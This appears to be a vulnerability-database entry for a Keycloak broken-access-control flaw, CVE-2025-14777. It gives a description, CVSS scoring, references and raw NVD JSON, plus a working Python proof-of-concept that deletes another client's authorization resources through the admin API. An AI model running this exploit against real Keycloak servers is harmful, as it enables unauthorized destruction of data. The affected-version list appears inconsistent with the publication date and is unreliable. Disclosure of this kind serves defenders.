Security Vulnerability Report
中文
CVE-2025-14777 CVSS 6.0 MEDIUM

CVE-2025-14777

Published: 2025-12-16 05:16:12
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in Keycloak. An IDOR (Broken Access Control) vulnerability exists in the admin API endpoints for authorization resource management, specifically in ResourceSetService and PermissionTicketService. The system checks authorization against the resourceServer (client) ID provided in the API request, but the backend database lookup and modification operations (findById, delete) only use the resourceId. This mismatch allows an authenticated attacker with fine-grained admin permissions for one client (e.g., Client A) to delete or update resources belonging to another client (Client B) within the same realm by supplying a valid resource ID.

CVSS Details

CVSS Score
6.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Keycloak < 24.0.0
Keycloak < 23.0.5
Keycloak < 22.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14777 Keycloak IDOR PoC # Target: Keycloak Admin API # Vulnerability: IDOR in ResourceSetService/PermissionTicketService import requests import json KEYCLOAK_URL = "http://target-keycloak:8080" REALM = "master" USERNAME = "attacker" PASSWORD = "password" def get_access_token(): """Obtain admin access token""" url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" data = { "client_id": "admin-cli", "username": USERNAME, "password": PASSWORD, "grant_type": "password" } response = requests.post(url, data=data) return response.json().get("access_token") def exploit_idor(): """Exploit IDOR to delete cross-client resources""" token = get_access_token() headers = {"Authorization": f"Bearer {token}"} # Attacker has permission on Client A (resource_server_id) attacker_client_id = "client-a-uuid" # Target resource belongs to Client B target_resource_id = "client-b-resource-uuid" # IDOR: Use Client A's resource_server_id with Client B's resource_id delete_url = f"{KEYCLOAK_URL}/admin/realms/{REALM}/clients/{attacker_client_id}/resources/{target_resource_id}" print(f"[*] Sending DELETE request to: {delete_url}") print(f"[*] Resource Server ID: {attacker_client_id}") print(f"[*] Target Resource ID: {target_resource_id}") response = requests.delete(delete_url, headers=headers) if response.status_code == 204: print("[+] SUCCESS: Cross-client resource deleted via IDOR!") return True else: print(f"[-] FAILED: Status code {response.status_code}") return False if __name__ == "__main__": exploit_idor()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14777", "sourceIdentifier": "[email protected]", "published": "2025-12-16T05:16:11.727", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. An IDOR (Broken Access Control) vulnerability exists in the admin API endpoints for authorization resource management, specifically in ResourceSetService and PermissionTicketService. The system checks authorization against the resourceServer (client) ID provided in the API request, but the backend database lookup and modification operations (findById, delete) only use the resourceId. This mismatch allows an authenticated attacker with fine-grained admin permissions for one client (e.g., Client A) to delete or update resources belonging to another client (Client B) within the same realm by supplying a valid resource ID."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:L", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-289"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:6477", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:6478", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-14777", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2422596", "source": "[email protected]"}]}}